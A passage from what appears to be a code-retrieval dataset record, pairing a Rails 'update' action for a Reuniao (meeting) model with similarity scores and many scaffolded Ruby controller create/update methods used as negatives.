CTA})\n #poner en cola\n order = Order.new(oc:oc['_id'], total:Integer(oc['cantidad']), sku:oc['sku'], due_date:oc['fechaEntrega'], client:oc['cliente'], price:Integer(oc['precioUnitario']), destination: id_store_reception, state:\"accepted\")\n order.save\n render json: {'Message': \"Orden creada, aceptada y facturada\"}\n\n else\n reject(id, '', cliente)\n render json: {'Message': \"Orden rechazada\"}\n end\n else\n render status: 500, json:{\n Message: 'Declined: failed to process order, we need more details'\n }\n end\n end",
"def create\n @receita = current_usuario.receitas.new(receita_params)\n\n respond_to do |format|\n if @receita.save\n format.html { redirect_to @receita, notice: 'Receita cadastrada com sucesso.' }\n format.json { render :show, status: :created, location: @receita }\n else\n format.html { render :new }\n format.json { render json: @receita.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @orador = Orador.new(params[:orador])\n\n respond_to do |format|\n if @orador.save\n format.html { redirect_to @orador, notice: 'Orador was successfully created.' }\n format.json { render json: @orador, status: :created, location: @orador }\n else\n format.html { render action: \"new\" }\n format.json { render json: @orador.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @uni_aso = UniAso.new(uni_aso_params)\n\n respond_to do |format|\n if @uni_aso.save\n format.html { redirect_to @uni_aso, notice: 'Uni aso was successfully created.' }\n format.json { render :show, status: :created, location: @uni_aso }\n else\n format.html { render :new }\n format.json { render json: @uni_aso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reentrada = Reentrada.new(reentrada_params)\n\n @reentrada.cadastro_1_id = user.cadastro.id\n\n respond_to do |format|\n if @reentrada.save\n format.html { redirect_to reentradas_path, notice: 'Reentrada was successfully created.' }\n format.json { render :show, status: :created, location: @reentrada }\n else\n format.html { render :new }\n format.json { render json: @reentrada.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @repuesto = Repuesto.new(repuesto_params)\n\n respond_to do |format|\n if @repuesto.save\n format.html { redirect_to @repuesto, notice: 'Repuesto creado exitosamente' }\n format.json { render :show, status: :created, location: @repuesto }\n else\n format.html { render :new }\n format.json { render json: @repuesto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @uzser = Uzser.new(uzser_params)\n\n respond_to do |format|\n if @uzser.save\n format.html { redirect_to @uzser, notice: 'Uzser was successfully created.' }\n format.json { render :show, status: :created, location: @uzser }\n else\n format.html { render :new }\n format.json { render json: @uzser.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @recaudacion = Recaudacion.new(recaudacion_params)\n\n respond_to do |format|\n if @recaudacion.save\n format.html { redirect_to @recaudacion, notice: 'Recaudacion was successfully created.' }\n format.json { render :show, status: :created, location: @recaudacion }\n else\n format.html { render :new }\n format.json { render json: @recaudacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @laboratorio = Laboratorio.new(laboratorio_params)\n get_responsavel\n puts \"O responsavel é: #{@laboratorio.responsavel_id}\"\n if (@responsavel != \"sem_responsavel\")\n @laboratorio.docentes << Docente.find(@laboratorio.responsavel_id)\n puts \"Add relação entre #{@laboratorio.nome} e #{Docente.find(@laboratorio.responsavel_id).user.nome}\"\n end\n respond_to do |format|\n if @laboratorio.save\n format.html { redirect_to @laboratorio, notice: 'Laboratorio was successfully created.' }\n format.json { render :show, status: :created, location: @laboratorio }\n else\n format.html { render :new }\n format.json { render json: @laboratorio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @prepagada = Prepagada.new({ :prepagada => params[:prepagada], :odontologo_id => params[:odontologo_id] })\n\n respond_to do |format|\n if @prepagada.save\n format.html { redirect_to @prepagada, notice: 'Prepagada was successfully created.' }\n format.json { render json: @prepagada, status: :created, location: @prepagada }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prepagada.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @remocao = Remocao.new(params[:remocao])\n @remocao.ano_letivo = $data\n @remocao.professor_id = $id_professor\n respond_to do |format|\n if @remocao.save\n flash[:notice] = 'PROFESSOR INSERIDO EM REMOÇÃO.'\n format.html { redirect_to(@remocao) }\n format.xml { render :xml => @remocao, :status => :created, :location => @remocao }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @remocao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @agronomiaquimica = Agronomiaquimica.new(params[:agronomiaquimica])\n\n respond_to do |format|\n if @agronomiaquimica.save\n format.html { redirect_to @agronomiaquimica, notice: 'Agronomiaquimica was successfully created.' }\n format.json { render json: @agronomiaquimica, status: :created, location: @agronomiaquimica }\n else\n format.html { render action: \"new\" }\n format.json { render json: @agronomiaquimica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @repa = Repa.new(params[:repa])\n @repa.user_id = current_user.id\n respond_to do |format|\n if @repa.save\n format.html { redirect_to @repa, notice: 'Repa was successfully created.' }\n format.json { render json: @repa, status: :created, location: @repa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @repa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ruta = Ruta.new(ruta_params)\n respond_to do |format|\n if params[:parada_inicial] != \"\"\n @inicio = Parada.find(params[:parada_inicial])\n @ruta.parada.push(@inicio)\n @ruta_parada = @ruta.ruta_parada.find_by(parada_id: @inicio.id)\n @ruta_parada.tipo = 1\n @ruta_parada.save\n end\n if params[:parada_final] != \"\"\n @final = Parada.find(params[:parada_final])\n @ruta.parada.push(@final)\n @ruta_parada = @ruta.ruta_parada.find_by(parada_id: @final.id)\n @ruta_parada.tipo = -1\n @ruta_parada.save\n end\n if params[:grupo_paradas] != \"\"\n @paradas = Parada.where(:id => params[:grupo_paradas])\n @ruta.parada << @paradas\n end\n if @ruta.save\n format.html { redirect_to @ruta, notice: 'Ruta was successfully created.' }\n format.json { render :show, status: :created, location: @ruta }\n else\n format.html { render :new }\n format.json { render json: @ruta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reto_params\n params.require(:reto).permit(:user_id, :nombre, :descripcion, :valor)\n end",
"def create\n @repondre = Repondre.new(repondre_params)\n\n respond_to do |format|\n if @repondre.save\n format.html { redirect_to @repondre, notice: 'Repondre was successfully created.' }\n format.json { render :show, status: :created, location: @repondre }\n else\n format.html { render :new }\n format.json { render json: @repondre.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @objeto = Carpeta.new(carpeta_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Carpeta was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def moip_post\n @nasp_rail = NaspRail.new(params[:nasp_rail])\n\n format.html { redirect_to @nasp_rail, :notice => 'Nova entrada criada com sucesso.' }\n format.json { render :json => @nasp_rail, :status => :created, :location => @nasp_rail }\n end",
"def create\n @receipe = Receipe.new(params[:receipe])\n\n respond_to do |format|\n if @receipe.save\n format.html { redirect_to @receipe, notice: 'Receipe was successfully created.' }\n format.json { render json: @receipe, status: :created, location: @receipe }\n else\n @receipe.fix_highest_aroma_percentage!\n format.html do\n @selectable_aromas = Aroma.all\n render action: \"new\"\n end\n format.json { render json: @receipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @anuncio = Anuncio.new(anuncio_params)\n\n if @anuncio.save\n render :show, status: :created, location: @anuncio\n else\n render json: @anuncio.errors, status: :unprocessable_entity\n end\n end",
"def create\n @reltramovano = Reltramovano.new(params[:reltramovano])\n\n respond_to do |format|\n if @reltramovano.save\n format.html { redirect_to @reltramovano, notice: 'Reltramovano was successfully created.' }\n format.json { render json: @reltramovano, status: :created, location: @reltramovano }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reltramovano.errors, status: :unprocessable_entity }\n end\n end\n end",
"def POST; end",
"def create\n @regra_negocio = RegraNegocio.new(regra_negocio_params)\n\n respond_to do |format|\n if @regra_negocio.save\n format.html { redirect_to @regra_negocio, notice: 'Regra negocio was successfully created.' }\n format.json { render :show, status: :created, location: @regra_negocio }\n else\n format.html { render :new }\n format.json { render json: @regra_negocio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n seleccionarMenu(:rondas)\n @ronda = current_usuario.rondas.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ronda }\n end\n end",
"def create\n @resa = Resa.new(resa_params)\n respond_to do |format|\n if @resa.save\n format.html { redirect_to edit_resa_path(@resa), notice: 'Mis à jour réussie' }\n format.json { render action: 'show', status: :created, location: @resa }\n else\n format.html { render action: 'new' }\n format.json { render json: @resa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @renomear = Renomear.new(renomear_params)\n\n respond_to do |format|\n if @renomear.save\n format.html { redirect_to @renomear, notice: 'Renomear was successfully created.' }\n format.json { render action: 'show', status: :created, location: @renomear }\n else\n format.html { render action: 'new' }\n format.json { render json: @renomear.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @eou = Eou.new(params[:eou])\n\n respond_to do |format|\n if @eou.save\n format.html { redirect_to @eou, :notice => 'Eou was successfully created.' }\n format.json { render :json => @eou, :status => :created, :location => @eou }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @eou.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def tecnicos_postulados\n coleccion = []\n self.request.each do |request|\n info = {}\n info[:id] = request.id\n info[:article] = request.article\n info[:servicio] = request.service.description\n info[:tecnicos] = request.proposal\n coleccion.append(info)\n end\n coleccion\n end",
"def create\r\n @relatorio = Relatorio.new(relatorio_params)\r\n\r\n respond_to do |format|\r\n if @relatorio.save\r\n format.html { redirect_to @relatorio, notice: 'Relatório criado com sucesso.' }\r\n format.json { render :show, status: :created, location: @relatorio }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @relatorio.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @restaurantes_proximo = RestaurantesProximo.new(restaurantes_proximo_params)\n\n respond_to do |format|\n if @restaurantes_proximo.save\n format.html { redirect_to @restaurantes_proximo, notice: 'Restaurantes proximo was successfully created.' }\n format.json { render :show, status: :created, location: @restaurantes_proximo }\n else\n format.html { render :new }\n format.json { render json: @restaurantes_proximo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params.permit(:intitule, :estObligatoire, :nombreDeCaractere, :ordre, :sondage_id)\n ajout = QuestionOuverteService.instance.creerQuestionOuverte(params[:intitule], params[:estObligatoire], params[:nombreDeCaractere], params[:ordre], params[:sondage_id])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\n end",
"def create\n @respuesta = Respuesta.new(respuesta_params)\n\n respond_to do |format|\n if @respuesta.save\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully created.' }\n format.json { render :show, status: :created, location: api_v1_respuesta_url(@respuesta) }\n else\n format.html { render :new }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @torneo_apartura = TorneoApartura.new(torneo_apartura_params)\n\n respond_to do |format|\n if @torneo_apartura.save\n format.html { redirect_to @torneo_apartura, notice: 'Torneo apartura was successfully created.' }\n format.json { render :show, status: :created, location: @torneo_apartura }\n else\n format.html { render :new }\n format.json { render json: @torneo_apartura.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pregoestitulo = Pregoestitulo.new(pregoestitulo_params)\n\n pregao = Pregao.where('data = ?', @pregoestitulo.date).first\n\n if pregao.blank?\n pregao = Pregao.new\n pregao.data = @pregoestitulo.date\n pregao.flagativo = true\n pregao.save\n end\n\n @pregoestitulo.pregao_id = pregao.id\n\n respond_to do |format|\n if @pregoestitulo.save\n format.html { redirect_to @pregoestitulo, notice: 'Título incluído com sucesso.' }\n format.json { render :show, status: :created, location: @pregoestitulo }\n else\n format.html { render :new }\n format.json { render json: @pregoestitulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @uva = Uva.new(uva_params)\n\n respond_to do |format|\n if @uva.save\n format.html { redirect_to @uva, notice: 'Uva was successfully created.' }\n format.json { render :show, status: :created, location: @uva }\n else\n format.html { render :new }\n format.json { render json: @uva.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ulica = Ulica.new(ulica_params)\n\n respond_to do |format|\n if @ulica.save\n format.html { redirect_to @ulica, notice: 'Ulica was successfully created.' }\n format.json { render :show, status: :created, location: @ulica }\n else\n format.html { render :new }\n format.json { render json: @ulica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipoocorrencium = Tipoocorrencium.new(tipoocorrencium_params)\n\n respond_to do |format|\n if @tipoocorrencium.save\n format.html { redirect_to @tipoocorrencium, notice: 'Tipoocorrencium was successfully created.' }\n format.json { render :show, status: :created, location: @tipoocorrencium }\n else\n format.html { render :new }\n format.json { render json: @tipoocorrencium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n @lancamentorapido = Lancamentorapido.new(params[:lancamentorapido])\n \n #Validações padrão\n @lancamentorapido.tipo = :receita if @lancamentorapido.tipo.blank?\n @lancamentorapido.valor = 0 if @lancamentorapido.valor.blank? \n \n respond_to do |format|\n if @lancamentorapido.save\n format.html { redirect_to lancamentorapidos_path, notice: 'Lancamento was successfully created.' } \n# format.html { redirect_to '/lancamentorapidos'}\n format.json { render json: lancamentorapidos_path, status: :created, location: @lancamentorapido }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lancamentorapido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n seleccionarMenu(:juzgados)\n @juzgado = Juzgado.new(params[:juzgado])\n\n respond_to do |format|\n if @juzgado.save\n format.html { redirect_to @juzgado, notice: 'Juzgado fue creado satisfactoriamente.' }\n format.json { render json: @juzgado, status: :created, location: @juzgado }\n else\n format.html { render action: \"new\" }\n format.json { render json: @juzgado.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(url, data)\n RestClient.post ENV['APIBASE']+url, data, :content_type => :json\nend",
"def create\n @nebulosa = Nebulosa.new(nebulosa_params)\n\n respond_to do |format|\n if @nebulosa.save\n format.html { redirect_to @nebulosa, notice: 'Nebulosa was successfully created.' }\n format.json { render :show, status: :created, location: @nebulosa }\n else\n format.html { render :new }\n format.json { render json: @nebulosa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @grua = Grua.new(grua_params)\n\n respond_to do |format|\n if @grua.save\n format.html { redirect_to gruas_url, notice: 'Grua Se creó correctamente.' }\n format.json { render :index, status: :created, location: @grua }\n else\n format.html { render :new }\n format.json { render json: @grua.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(resource, params)\n case resource\n when \"pedidos\", \"place_order\", \"new_order\" then url = \"/pedidos\"\n when \"envios\", \"shipping\" then url = \"/envios\"\n else url = \"/#{resource}\"\n end\n\n post_request(url, params)\n end",
"def create\n @repertoire = Repertoire.new(repertoire_params)\n\n if @repertoire.save\n render :show, status: :created, location: @repertoire\n else\n render json: @repertoire.errors, status: :unprocessable_entity\n end\n end",
"def create\n @restaurante = Restaurante.new(restaurante_params)\n #@restaurante = Restaurante.new params.require(:restaurante).permit(:nome, :endereco,:especialidade)\n #@restaurante = Restaurante.new(params[:restaurante])\n respond_to do |format|\n if @restaurante.save\n format.html { redirect_to @restaurante, notice: 'Restaurante criado com sucesso!.' }\n format.json { render :show, status: :created, location: @restaurante }\n else\n format.html { render :new }\n format.json { render json: @restaurante.errors, status: :unprocessable_entity }\n end\n end\n end",
"def grabar_ensambladora\n # puts 'AQUI'\n @ensambladora = Ensambladora_vehiculos.new\n @usuario = Usuario.new\n @rif=params[:rif]\n @nombre=params[:nombre]\n @correo=params[:correo]\n @telefono=params[:telefono]\n @ciudad=params[:ciudad]\n @direccion=params[:direccion]\n @marca=params[:marca]\n #------\n @nombre_usuario=params[:nombre_usuario]\n @contrasena=params[:contrasena]\n # puts ''+@nombre_usuario+''\n @usuario.grabar_usuario_ensambladora(@nombre_usuario, @contrasena);\n # puts '+++++++++++++++++++++++++++++++++++++++++++++++++++++++metio usuario'\n @ensambladora.grabar_ensambladora(@rif,@nombre,@correo,@telefono,@ciudad,@direccion,@marca,@nombre_usuario)\n render :text => $tirajson\n end",
"def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n respond_to do |format|\n if @respuesta.save\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully created.' }\n format.json { render json: @respuesta, status: :created, location: @respuesta }\n else\n format.html { render action: \"new\" }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reparacion = Reparacion.new(params[:reparacion])\n\n respond_to do |format|\n if @reparacion.save\n format.html { redirect_to @reparacion, notice: 'Reparacion se ha creado con éxito.' }\n format.json { render json: @reparacion, status: :created, location: @reparacion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reparacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_promos(to_hash) #WONT BE USED AS OF NOW\n end",
"def create\n @recoleccion = Recoleccion.new(recoleccion_params)\n\n respond_to do |format|\n if @recoleccion.save\n format.html { redirect_to @recoleccion, notice: 'Recoleccion was successfully created.' }\n format.json { render :show, status: :created, location: @recoleccion }\n else\n format.html { render :new }\n format.json { render json: @recoleccion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @objeto = Caracteristica.new(caracteristica_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Caracteristica was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rodada = Rodada.new(rodada_params)\n\n respond_to do |format|\n if @rodada.save\n format.html { redirect_to @rodada, notice: 'A Rodada foi criada com sucesso.' }\n format.json { render :show, status: :created, location: @rodada }\n\n log = File.new(\"LOG SISFILA.txt\", \"a+\")\n log.puts \"#{Time.new.day}/#{Time.new.month}/#{Time.new.year} #{Time.new.hour}:#{Time.new.min}:#{Time.new.sec} - A rodada #{@rodada.descricao} foi criada.\"\n log.puts \"ID DA RODADA: #{@rodada.id}, DESCRICAO: #{@rodada.descricao}, POSICAO ATUAL: #{@rodada.posicao_atual}, INSCRICAO GUEST: #{@rodada.inscricao_guest}. \\n\\n\"\n log.close\n\n else\n format.html { render :new }\n format.json { render json: @rodada.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @objeto = DetallePedido.new(detalle_pedido_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Detalle pedido was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @receipe = Receipe.new\n @receipe.aroma_bundles.build\n @selectable_aromas = Aroma.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @receipe }\n end\n end",
"def create\n @grua = Grua.new(grua_params)\n @grua.dicc_mantenciones = @grua.set_dicc_mantenciones(@grua.tipo, @grua.horometro)\n\n if @grua.tipo == \"Eléctrica\"\n @grua.mantenciones = [6000, 2000, 1000, 250]\n elsif @grua.tipo == \"Gas\"\n @grua.mantenciones = [2800, 1400, 700, 350]\n elsif @grua.tipo == \"Apilador\"\n @grua.mantenciones = [2000, 1000, 500]\n else @grua.mantenciones = []\n end\n\n respond_to do |format|\n if @grua.save\n format.html { redirect_to @grua, notice: 'Grua creada exitosamente.' }\n format.json { render :show, status: :created, location: @grua }\n else\n format.html { render :new }\n format.json { render json: @grua.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_unidad = TipoUnidad.new(tipo_unidad_params)\n\n respond_to do |format|\n if @tipo_unidad.save\n format.html { redirect_to @tipo_unidad, notice: 'Tipo unidad was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_unidad }\n else\n format.html { render :new }\n format.json { render json: @tipo_unidad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @obra = Obra.new(params[:obra])\n\n respond_to do |format|\n if @obra.save\n format.html { redirect_to @obra, notice: 'Obra was successfully created.' }\n format.json { render json: @obra, status: :created, location: @obra }\n else\n format.html { render action: \"new\" }\n format.json { render json: @obra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @recibo = Recibo.find(params[:recibo_id])\n @renglon_recdetalle = @recibo.renglon_recdetalles.create(params[:renglon_recdetalle])\n\n respond_to do |format|\n if @renglon_recdetalle.save\n format.html { redirect_to @recibo, notice: 'Renglon recdetalle was successfully created.' }\n format.json { render json: @renglon_recdetalle }\n else\n format.html { render action: \"new\" }\n format.json { render json: @renglon_recdetalle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @objeto = Imagen.new(imagen_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Imagen was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @receitum = Receitum.new(receitum_params)\n @receitum.cliente_id = current_user.cliente_id\n respond_to do |format|\n if @receitum.save\n format.html { redirect_to new_receitum_path, flash: { success: 'Receita adicionada com sucesso' } }\n format.json { render :show, status: :created, location: @receitum }\n else\n format.html { render :new }\n format.json { render json: @receitum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @reclamacao = Reclamacao.new(reclamacao_params)\r\n user = Usuario.get_usuario_logado\r\n @reclamacao.write_attribute(:usuario_id, user.id)\r\n respond_to do |format|\r\n if @reclamacao.save\r\n format.html { redirect_to root_path, notice: 'RECLAMAÇÃO EFETUADA COM SUCESSO' }\r\n format.json { render :show, status: :created, location: @reclamacao }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @reclamacao.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @relatorios = Relatorio.new(params[:relatorio])\n\n respond_to do |format|\n if @relatorios.save\n flash[:notice] = 'RELATÓRIO CADASTRADO COM SUCESSO.'\n format.html { redirect_to(@relatorios) }\n format.xml { render :xml => @relatorios, :status => :created, :location => @relatorios }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @relatorios.errors, :status => :unprocessable_entity }\n end\n end\n end"
] | [
"0.60499835",
"0.5926077",
"0.59232473",
"0.5913695",
"0.58958787",
"0.5895139",
"0.58525664",
"0.5826046",
"0.581657",
"0.5809309",
"0.5802128",
"0.5794866",
"0.57665503",
"0.5765792",
"0.5757169",
"0.5743332",
"0.57291186",
"0.5700146",
"0.567887",
"0.56627274",
"0.5660639",
"0.56406105",
"0.5630822",
"0.5619851",
"0.56111276",
"0.5602769",
"0.559741",
"0.55878896",
"0.556602",
"0.55634713",
"0.55476433",
"0.5547346",
"0.55409896",
"0.5540121",
"0.55384076",
"0.5532632",
"0.5527926",
"0.5520254",
"0.54982543",
"0.5490793",
"0.54818356",
"0.54814035",
"0.54796153",
"0.5473332",
"0.5472053",
"0.54684013",
"0.54581124",
"0.5456576",
"0.5456332",
"0.54435897",
"0.54419756",
"0.5441887",
"0.5441433",
"0.542911",
"0.5427707",
"0.54222095",
"0.54221284",
"0.5417506",
"0.54122156",
"0.5408374",
"0.5406211",
"0.54048043",
"0.53946173",
"0.53936046",
"0.5391284",
"0.53887254",
"0.5387231",
"0.5380632",
"0.53786564",
"0.53732884",
"0.53728604",
"0.53588855",
"0.53567475",
"0.5356731",
"0.5350574",
"0.5348454",
"0.53404486",
"0.53402275",
"0.53349614",
"0.5332287",
"0.53318214",
"0.5327852",
"0.53236526",
"0.53212655",
"0.53195804",
"0.53178245",
"0.53092146",
"0.53071856",
"0.5299834",
"0.52992016",
"0.5294212",
"0.5289999",
"0.52864134",
"0.5283906",
"0.5281923",
"0.52804846",
"0.5279695",
"0.5276275",
"0.52737176",
"0.52692324"
] | 0.58151996 | 9 |
PATCH/PUT /reuniaos/1 PATCH/PUT /reuniaos/1.json | def update
@teste=Reuniao.new(reuniao_params)
if @reuniao.status =="finalizada"
redirect_to @reuniao , notice: 'Desculpe mas,reuniao finalizada não pode ser auterada.'
else
respond_to do |format|
if @reuniao.update(reuniao_params)
@pautum=Pautum.search(@reuniao.pautum)
@pautum[0].status=@reuniao.status
@pautum[0].titulo=@reuniao.titulo
@pautum[0].save
@atum=Atum.search(@reuniao.atum)
@atum[0].status=@reuniao.status
@atum[0].save
format.html { redirect_to @reuniao, notice: 'Reuniao was successfully updated.' }
format.json { render :show, status: :ok, location: @reuniao }
else
format.html { render :edit }
format.json { render json: @reuniao.errors, status: :unprocessable_entity }
end
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @resto.update(resto_params)\n format.html { redirect_to @resto, notice: 'Entry was successfully updated.' }\n format.json { render :show, status: :ok, location: @resto }\n else\n format.html { render :edit }\n format.json { render json: @resto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ore = Ore.find(params[:id])\n \n respond_to do |format|\n if @ore.update_attributes(params[:ore])\n format.html { redirect_to @ore, notice: 'Ore was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ore.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @osoba = Osoba.find(params[:id])\n\n if @osoba.update(params[:osoba])\n head :no_content\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n respond_to do |format|\n if @objeto.update(revista_params)\n format.html { redirect_to @objeto, notice: 'Revista was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to @premio, :notice => 'Premio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update \n retorno = {erro: \"322\" ,body: \"\"}\n if @usuario.update(valid_request?)\n retorno = {erro: \"000\", body: {evento_id: @usuario.id, usuario_nome: @usuario.nome}}\n end\n render json: retorno.to_json\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n @uchronia = Uchronia.find(params[:id])\n\n respond_to do |format|\n if @uchronia.update_attributes(params[:uchronia])\n format.html { redirect_to @uchronia, notice: 'Uchronia was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @uchronia.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to @premio, notice: 'Premio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @premio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n @rua = Rua.find(params[:id])\n\n respond_to do |format|\n if @rua.update_attributes(params[:rua])\n format.html { redirect_to @rua, notice: 'Rua was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rua.errors, status: :unprocessable_entity }\n end\n end\n end",
